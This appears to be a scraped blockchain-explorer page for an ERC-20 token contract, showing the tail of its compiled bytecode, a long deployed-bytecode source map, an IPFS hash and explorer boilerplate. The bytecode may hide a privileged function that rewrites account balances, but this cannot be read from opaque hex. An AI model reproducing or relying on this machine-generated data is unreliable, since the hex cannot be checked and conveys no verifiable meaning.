260200190565b60405180910390a36001925050506105b7565b60008184841115610d235760405162461bcd60e51b81526004016106db91906111de565b506000610d3084866114b3565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d8a918490610cff565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610db990836110fd565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e0d9086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6757610e676114c6565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190611496565b81600181518110610ef757610ef76114c6565b6001600160a01b039283166020918202929092010152600a54610f1d913091168461098b565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f6192879260009288926101009091049091169042906004016114dc565b600060405180830381600087803b158015610f7b57600080fd5b505af1925050508015610f8c575060015b505050600b805460ff60a01b19169055565b60006105b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cff565b6001600160a01b038316600090815260076020526040812054819060ff1615611021576064611010846002611379565b61101a919061154d565b905061105c565b6001600160a01b03841660009081526007602052604090205460ff161561105c57606461104f846002611379565b611059919061154d565b90505b6001600160a01b038516600090815260086020526040902054156110885761108583600461115c565b90505b80156110f35730600090815260046020526040812080548392906110ad908490611390565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d308382610f9e565b60008061110a8385611390565b9050838110156105b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106db565b60008260000361116e5750600061054d565b600061117a8385611379565b905082611187858361154d565b146105b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106db565b600060208083528351808285015260005b8181101561120b578581018301518582016040015282016111ef565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124157600080fd5b50565b6000806040838503121561125757600080fd5b82356112628161122c565b946020939093013593505050565b60006020828403121561128257600080fd5b81356105b78161122c565b6000806000606084860312156112a257600080fd5b83356112ad8161122c565b925060208401356112bd8161122c565b929592945050506040919091013590565b600080604083850312156112e157600080fd5b50508035926020909101359150565b6000806040838503121561130357600080fd5b823561130e8161122c565b9150602083013561131e8161122c565b809150509250929050565b600181811c9082168061133d57607f821691505b60208210810361135d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761054d5761054d611363565b8082018082111561054d5761054d611363565b600181815b808511156113de5781600019048211156113c4576113c4611363565b808516156113d157918102915b93841c93908002906113a8565b509250929050565b6000826113f55750600161054d565b816114025750600061054d565b816001811461141857600281146114225761143e565b600191505061054d565b60ff84111561143357611433611363565b50506001821b61054d565b5060208310610133831016604e8410600b8410161715611461575081810a61054d565b61146b83836113a3565b806000190482111561147f5761147f611363565b029392505050565b60006105b760ff8416836113e6565b6000602082840312156114a857600080fd5b81516105b78161122c565b8181038181111561054d5761054d611363565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561152c5784516001600160a01b031683529383019391830191600101611507565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261156a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220081f89067c60b5a6bebdd1e180ad41c7ebf9f22d4e3df58b32c2a11f6c5c0ea764736f6c63430008120033

Deployed Bytecode Sourcemap

3782:6323:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5046:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5709:161;;;;;;;;;;-1:-1:-1;5709:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5709:161:0;1023:187:1;4323:39:0;;;;;;;;;;-1:-1:-1;4323:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;1613:25:1;;;1601:2;1586:18;4323:39:0;1467:177:1;4437:41:0;;;;;;;;;;-1:-1:-1;4437:41:0;;;;-1:-1:-1;;;;;4437:41:0;;;;;;-1:-1:-1;;;;;1839:32:1;;;1821:51;;1809:2;1794:18;4437:41:0;1649:229:1;5323:100:0;;;;;;;;;;-1:-1:-1;5403:12:0;;5323:100;;6260:313;;;;;;;;;;-1:-1:-1;6260:313:0;;;;;:::i;:::-;;:::i;4011:81::-;;;;;;;;;;;;;;;5232:83;;;;;;;;;;-1:-1:-1;5298:9:0;;5232:83;;5298:9;;;;2694:36:1;;2682:2;2667:18;5232:83:0;2552:184:1;4220:50:0;;;;;;;;;;-1:-1:-1;4220:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9283:271;;;;;;;;;;-1:-1:-1;9283:271:0;;;;;:::i;:::-;;:::i;:::-;;3974:30;;;;;;;;;;-1:-1:-1;3974:30:0;;;;;;;-1:-1:-1;;;;;3974:30:0;;;4552:40;;;;;;;;;;-1:-1:-1;4552:40:0;;;;-1:-1:-1;;;4552:40:0;;;;;;5431:119;;;;;;;;;;-1:-1:-1;5431:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5524:18:0;5497:7;5524:18;;;:9;:18;;;;;;;5431:119;2858:79;;;;;;;;;;-1:-1:-1;2896:7:0;2923:6;-1:-1:-1;;;;;2923:6:0;2858:79;;5137:87;;;;;;;;;;;;;:::i;6756:472::-;;;;;;;;;;;;;:::i;6581:167::-;;;;;;;;;;-1:-1:-1;6581:167:0;;;;;:::i;:::-;;:::i;4277:39::-;;;;;;;;;;-1:-1:-1;4277:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4485:26;;;;;;;;;;-1:-1:-1;4485:26:0;;;;-1:-1:-1;;;;;4485:26:0;;;9068:207;;;;;;;;;;-1:-1:-1;9068:207:0;;;;;:::i;:::-;;:::i;5558:143::-;;;;;;;;;;-1:-1:-1;5558:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5666:18:0;;;5639:7;5666:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5558:143;3072:157;;;;;;;;;;-1:-1:-1;3072:157:0;;;;;:::i;:::-;;:::i;5046:83::-;5083:13;5116:5;5109:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5046:83;:::o;5709:161::-;5784:4;5801:39;297:10;5824:7;5833:6;5801:8;:39::i;:::-;-1:-1:-1;5858:4:0;5709:161;;;;;:::o;6260:313::-;6358:4;6375:36;6385:6;6393:9;6404:6;6375:9;:36::i;:::-;-1:-1:-1;6422:121:0;6431:6;297:10;6453:89;6491:6;6453:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6453:19:0;;;;;;:11;:19;;;;;;;;297:10;6453:33;;;;;;;;;;:37;:89::i;:::-;6422:8;:121::i;:::-;-1:-1:-1;6561:4:0;6260:313;;;;;;:::o;9283:271::-;9356:5;9349:4;:12;9345:75;;;9400:6;:4;9405:1;9400:6;:::i;:::-;:8;;9407:1;9400:8;:::i;:::-;9388:7;;;;;-1:-1:-1;;;;;9388:7:0;9378:18;;;;:9;:18;;;;;:30;;:18;;;:30;;;;;:::i;:::-;;;;-1:-1:-1;;9345:75:0;9434:31;9449:10;9460:4;9434:14;:31::i;:::-;9430:53;;;-1:-1:-1;;;;;9468:9:0;;9480:1;9468:9;;;:3;:9;;;;;:13;9430:53;9497:26;9512:5;9518:4;9497:14;:26::i;:::-;9493:54;;;9538:7;9544:1;9538:4;:7;:::i;:::-;-1:-1:-1;;;;;9526:9:0;;;;;;:3;:9;;;;;:19;9493:54;9283:271;;:::o;5137:87::-;5176:13;5209:7;5202:14;;;;;:::i;6756:472::-;2985:6;;-1:-1:-1;;;;;2985:6:0;297:10;2985:22;2977:67;;;;-1:-1:-1;;;2977:67:0;;6016:2:1;2977:67:0;;;5998:21:1;;;6035:18;;;6028:30;6094:34;6074:18;;;6067:62;6146:18;;2977:67:0;;;;;;;;;6812:35:::1;6869:42;6812:100;;6955:16;-1:-1:-1::0;;;;;6955:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6937:70:0::1;;7016:4;7023:16;-1:-1:-1::0;;;;;7023:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6937:110;::::0;-1:-1:-1;;;;;;6937:110:0::1;::::0;;;;;;-1:-1:-1;;;;;6661:15:1;;;6937:110:0::1;::::0;::::1;6643:34:1::0;6713:15;;6693:18;;;6686:43;6578:18;;6937:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6923:11;:124:::0;;-1:-1:-1;;;;;6923:124:0;;::::1;-1:-1:-1::0;;;;;;6923:124:0;;::::1;::::0;::::1;::::0;;;7060:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;6923:11:::1;7105:28:::0;;;:6:::1;:28;::::0;;;;;;;:35;;-1:-1:-1;;7105:35:0::1;6923:124:::0;7105:35:::1;::::0;;7206:12:::1;::::0;7171:4:::1;7151:26:::0;;:11:::1;:26:::0;;;;;7186:15;;;;::::1;7151:52:::0;;;;;;;;;:67;6756:472::o;6581:167::-;6659:4;6676:42;297:10;6700:9;6711:6;6676:9;:42::i;9068:207::-;9223:7;;9135:4;;9167:1;;9194:10;;9223:7;;;-1:-1:-1;;;;;9223:7:0;:15;;9215:24;;;;;;-1:-1:-1;9257:10:0;;;;9068:207;-1:-1:-1;;9068:207:0:o;3072:157::-;2985:6;;-1:-1:-1;;;;;2985:6:0;297:10;2985:22;2977:67;;;;-1:-1:-1;;;2977:67:0;;6016:2:1;2977:67:0;;;5998:21:1;;;6035:18;;;6028:30;6094:34;6074:18;;;6067:62;6146:18;;2977:67:0;5814:356:1;2977:67:0;3146:6:::1;:19:::0;;-1:-1:-1;;;;;;3146:19:0::1;-1:-1:-1::0;;;;;3146:19:0;::::1;::::0;;::::1;::::0;;3181:40:::1;::::0;3146:19;;;;3181:40:::1;::::0;3146:6;3181:40:::1;3072:157:::0;:::o;5878:337::-;-1:-1:-1;;;;;5971:19:0;;5963:68;;;;-1:-1:-1;;;5963:68:0;;6942:2:1;5963:68:0;;;6924:21:1;6981:2;6961:18;;;6954:30;7020:34;7000:18;;;6993:62;-1:-1:-1;;;7071:18:1;;;7064:34;7115:19;;5963:68:0;6740:400:1;5963:68:0;-1:-1:-1;;;;;6050:21:0;;6042:68;;;;-1:-1:-1;;;6042:68:0;;7347:2:1;6042:68:0;;;7329:21:1;7386:2;7366:18;;;7359:30;7425:34;7405:18;;;7398:62;-1:-1:-1;;;7476:18:1;;;7469:32;7518:19;;6042:68:0;7145:398:1;6042:68:0;-1:-1:-1;;;;;6123:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6175:32;;1613:25:1;;;6175:32:0;;1586:18:1;6175:32:0;;;;;;;5878:337;;;:::o;7236:990::-;7314:4;-1:-1:-1;;;;;7341:18:0;;7333:68;;;;-1:-1:-1;;;7333:68:0;;7750:2:1;7333:68:0;;;7732:21:1;7789:2;7769:18;;;7762:30;7828:34;7808:18;;;7801:62;-1:-1:-1;;;7879:18:1;;;7872:35;7924:19;;7333:68:0;7548:401:1;7333:68:0;-1:-1:-1;;;;;7420:16:0;;7412:64;;;;-1:-1:-1;;;7412:64:0;;8156:2:1;7412:64:0;;;8138:21:1;8195:2;8175:18;;;8168:30;8234:34;8214:18;;;8207:62;-1:-1:-1;;;8285:18:1;;;8278:33;8328:19;;7412:64:0;7954:399:1;7412:64:0;7500:16;;-1:-1:-1;;;7500:16:0;;;;7497:722;;;7549:32;7564:4;7570:2;7574:6;7549:14;:32::i;:::-;7542:39;;;;7497:722;7682:4;7633:28;5524:18;;;:9;:18;;;;;;7708:16;;-1:-1:-1;;;7708:16:0;;;;7707:17;:34;;;;-1:-1:-1;;;;;;7729:12:0;;;;;;:6;:12;;;;;;;;7728:13;7707:34;7703:124;;;7775:36;7790:20;7775:14;:36::i;:::-;-1:-1:-1;;;;;7861:15:0;;;;;;:9;:15;;;;;;:27;;7881:6;7861:19;:27::i;:::-;-1:-1:-1;;;;;7843:15:0;;;;;;:9;:15;;;;;;;;:45;;;;7926:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;7953:21:0;;;;;;:17;:21;;;;;;;;7926:48;7925:128;;8030:23;8036:4;8042:2;8046:6;8030:5;:23::i;:::-;7925:128;;;8021:6;7925:128;-1:-1:-1;;;;;8098:13:0;;;;;;:9;:13;;;;;;7903:150;;-1:-1:-1;8098:30:0;;7903:150;8098:17;:30::i;:::-;-1:-1:-1;;;;;8082:13:0;;;;;;;:9;:13;;;;;;;:46;;;;8150:31;;;;;;;;;;8169:11;1613:25:1;;1601:2;1586:18;;1467:177;8150:31:0;;;;;;;;8203:4;8196:11;;;;;;1483:192;1569:7;1605:12;1597:6;;;;1589:29;;;;-1:-1:-1;;;1589:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1629:9:0;1641:5;1645:1;1641;:5;:::i;:::-;1629:17;1483:192;-1:-1:-1;;;;;1483:192:0:o;8234:330::-;8364:53;;;;;;;;;;;-1:-1:-1;;;8364:53:0;;;;;;;;-1:-1:-1;;;;;8364:17:0;;8327:4;8364:17;;;:9;:17;;;;;;;:53;;8386:6;;8364:21;:53::i;:::-;-1:-1:-1;;;;;8344:17:0;;;;;;;:9;:17;;;;;;:73;;;;8451:20;;;;;;;:32;;8476:6;8451:24;:32::i;:::-;-1:-1:-1;;;;;8428:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8499:35;;;;;;;;;;8527:6;1613:25:1;;1601:2;1586:18;;1467:177;8499:35:0;;;;;;;;-1:-1:-1;8552:4:0;8234:330;;;;;:::o;8572:488::-;4633:16;:23;;-1:-1:-1;;;;4633:23:0;-1:-1:-1;;;4633:23:0;;;8667:16:::1;::::0;;8681:1:::1;8667:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8667:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8667:16:0::1;8643:40;;8712:4;8694;8699:1;8694:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8694:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8738:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8738:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8694:7;;8738:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8728:4;8733:1;8728:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8728:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8805:15:::1;::::0;8773:57:::1;::::0;8790:4:::1;::::0;8805:15:::1;8823:6:::0;8773:8:::1;:57::i;:::-;8847:15;::::0;8993:7:::1;::::0;8847:195:::1;::::0;-1:-1:-1;;;8847:195:0;;-1:-1:-1;;;;;8847:15:0;;::::1;::::0;:66:::1;::::0;:195:::1;::::0;8928:6;;8847:15:::1;::::0;8966:4;;8847:15:::1;8993:7:::0;;::::1;::::0;;::::1;::::0;9016:15:::1;::::0;8847:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;8843:210:::0;-1:-1:-1;;4679:16:0;:24;;-1:-1:-1;;;;4679:24:0;;;8572:488::o;1339:136::-;1397:7;1424:43;1428:1;1431;1424:43;;;;;;;;;;;;;;;;;:3;:43::i;9562:534::-;-1:-1:-1;;;;;9695:14:0;;9647:7;9695:14;;;:6;:14;;;;;;9647:7;;9695:14;;9692:152;;;9749:3;9735:11;:7;9745:1;9735:11;:::i;:::-;:17;;;;:::i;:::-;9726:26;;9692:152;;;-1:-1:-1;;;;;9772:17:0;;;;;;:6;:17;;;;;;;;9769:75;;;9829:3;9815:11;:7;9825:1;9815:11;:::i;:::-;:17;;;;:::i;:::-;9806:26;;9769:75;-1:-1:-1;;;;;9859:11:0;;;;;;:3;:11;;;;;;:16;9856:46;;9886:16;:7;9898:3;9886:11;:16::i;:::-;9877:25;;9856:46;9918:10;;9915:135;;9963:4;9945:24;;;;:9;:24;;;;;:34;;9973:6;;9945:24;:34;;9973:6;;9945:34;:::i;:::-;;;;-1:-1:-1;;9999:39:0;;1613:25:1;;;10024:4:0;;-1:-1:-1;;;;;9999:39:0;;;;;1601:2:1;1586:18;9999:39:0;;;;;;;9915:135;10069:19;:7;10081:6;10069:11;:19::i;1148:181::-;1206:7;;1238:5;1242:1;1238;:5;:::i;:::-;1226:17;;1267:1;1262;:6;;1254:46;;;;-1:-1:-1;;;1254:46:0;;10164:2:1;1254:46:0;;;10146:21:1;10203:2;10183:18;;;10176:30;10242:29;10222:18;;;10215:57;10289:18;;1254:46:0;9962:351:1;1681:248:0;1739:7;1763:1;1768;1763:6;1759:47;;-1:-1:-1;1793:1:0;1786:8;;1759:47;1816:9;1828:5;1832:1;1828;:5;:::i;:::-;1816:17;-1:-1:-1;1861:1:0;1852:5;1856:1;1816:17;1852:5;:::i;:::-;:10;1844:56;;;;-1:-1:-1;;;1844:56:0;;10520:2:1;1844:56:0;;;10502:21:1;10559:2;10539:18;;;10532:30;10598:34;10578:18;;;10571:62;-1:-1:-1;;;10649:18:1;;;10642:31;10690:19;;1844:56:0;10318:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:247::-;1274:6;1327:2;1315:9;1306:7;1302:23;1298:32;1295:52;;;1343:1;1340;1333:12;1295:52;1382:9;1369:23;1401:31;1426:5;1401:31;:::i;1883:456::-;1960:6;1968;1976;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;:::-;2153:5;-1:-1:-1;2210:2:1;2195:18;;2182:32;2223:33;2182:32;2223:33;:::i;:::-;1883:456;;2275:7;;-1:-1:-1;;;2329:2:1;2314:18;;;;2301:32;;1883:456::o;2965:248::-;3033:6;3041;3094:2;3082:9;3073:7;3069:23;3065:32;3062:52;;;3110:1;3107;3100:12;3062:52;-1:-1:-1;;3133:23:1;;;3203:2;3188:18;;;3175:32;;-1:-1:-1;2965:248:1:o;3218:388::-;3286:6;3294;3347:2;3335:9;3326:7;3322:23;3318:32;3315:52;;;3363:1;3360;3353:12;3315:52;3402:9;3389:23;3421:31;3446:5;3421:31;:::i;:::-;3471:5;-1:-1:-1;3528:2:1;3513:18;;3500:32;3541:33;3500:32;3541:33;:::i;:::-;3593:7;3583:17;;;3218:388;;;;;:::o;3611:380::-;3690:1;3686:12;;;;3733;;;3754:61;;3808:4;3800:6;3796:17;3786:27;;3754:61;3861:2;3853:6;3850:14;3830:18;3827:38;3824:161;;3907:10;3902:3;3898:20;3895:1;3888:31;3942:4;3939:1;3932:15;3970:4;3967:1;3960:15;3824:161;;3611:380;;;:::o;3996:127::-;4057:10;4052:3;4048:20;4045:1;4038:31;4088:4;4085:1;4078:15;4112:4;4109:1;4102:15;4128:168;4201:9;;;4232;;4249:15;;;4243:22;;4229:37;4219:71;;4270:18;;:::i;4301:125::-;4366:9;;;4387:10;;;4384:36;;;4400:18;;:::i;4431:422::-;4520:1;4563:5;4520:1;4577:270;4598:7;4588:8;4585:21;4577:270;;;4657:4;4653:1;4649:6;4645:17;4639:4;4636:27;4633:53;;;4666:18;;:::i;:::-;4716:7;4706:8;4702:22;4699:55;;;4736:16;;;;4699:55;4815:22;;;;4775:15;;;;4577:270;;;4581:3;4431:422;;;;;:::o;4858:806::-;4907:5;4937:8;4927:80;;-1:-1:-1;4978:1:1;4992:5;;4927:80;5026:4;5016:76;;-1:-1:-1;5063:1:1;5077:5;;5016:76;5108:4;5126:1;5121:59;;;;5194:1;5189:130;;;;5101:218;;5121:59;5151:1;5142:10;;5165:5;;;5189:130;5226:3;5216:8;5213:17;5210:43;;;5233:18;;:::i;:::-;-1:-1:-1;;5289:1:1;5275:16;;5304:5;;5101:218;;5403:2;5393:8;5390:16;5384:3;5378:4;5375:13;5371:36;5365:2;5355:8;5352:16;5347:2;5341:4;5338:12;5334:35;5331:77;5328:159;;;-1:-1:-1;5440:19:1;;;5472:5;;5328:159;5519:34;5544:8;5538:4;5519:34;:::i;:::-;5589:6;5585:1;5581:6;5577:19;5568:7;5565:32;5562:58;;;5600:18;;:::i;:::-;5638:20;;4858:806;-1:-1:-1;;;4858:806:1:o;5669:140::-;5727:5;5756:47;5797:4;5787:8;5783:19;5777:4;5756:47;:::i;6175:251::-;6245:6;6298:2;6286:9;6277:7;6273:23;6269:32;6266:52;;;6314:1;6311;6304:12;6266:52;6346:9;6340:16;6365:31;6390:5;6365:31;:::i;8358:128::-;8425:9;;;8446:11;;;8443:37;;;8460:18;;:::i;8623:127::-;8684:10;8679:3;8675:20;8672:1;8665:31;8715:4;8712:1;8705:15;8739:4;8736:1;8729:15;8755:980;9017:4;9065:3;9054:9;9050:19;9096:6;9085:9;9078:25;9122:2;9160:6;9155:2;9144:9;9140:18;9133:34;9203:3;9198:2;9187:9;9183:18;9176:31;9227:6;9262;9256:13;9293:6;9285;9278:22;9331:3;9320:9;9316:19;9309:26;;9370:2;9362:6;9358:15;9344:29;;9391:1;9401:195;9415:6;9412:1;9409:13;9401:195;;;9480:13;;-1:-1:-1;;;;;9476:39:1;9464:52;;9571:15;;;;9536:12;;;;9512:1;9430:9;9401:195;;;-1:-1:-1;;;;;;;9652:32:1;;;;9647:2;9632:18;;9625:60;-1:-1:-1;;;9716:3:1;9701:19;9694:35;9613:3;8755:980;-1:-1:-1;;;8755:980:1:o;9740:217::-;9780:1;9806;9796:132;;9850:10;9845:3;9841:20;9838:1;9831:31;9885:4;9882:1;9875:15;9913:4;9910:1;9903:15;9796:132;-1:-1:-1;9942:9:1;;9740:217::o

Swarm Source

ipfs://081f89067c60b5a6bebdd1e180ad41c7ebf9f22d4e3df58b32c2a11f6c5c0ea7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.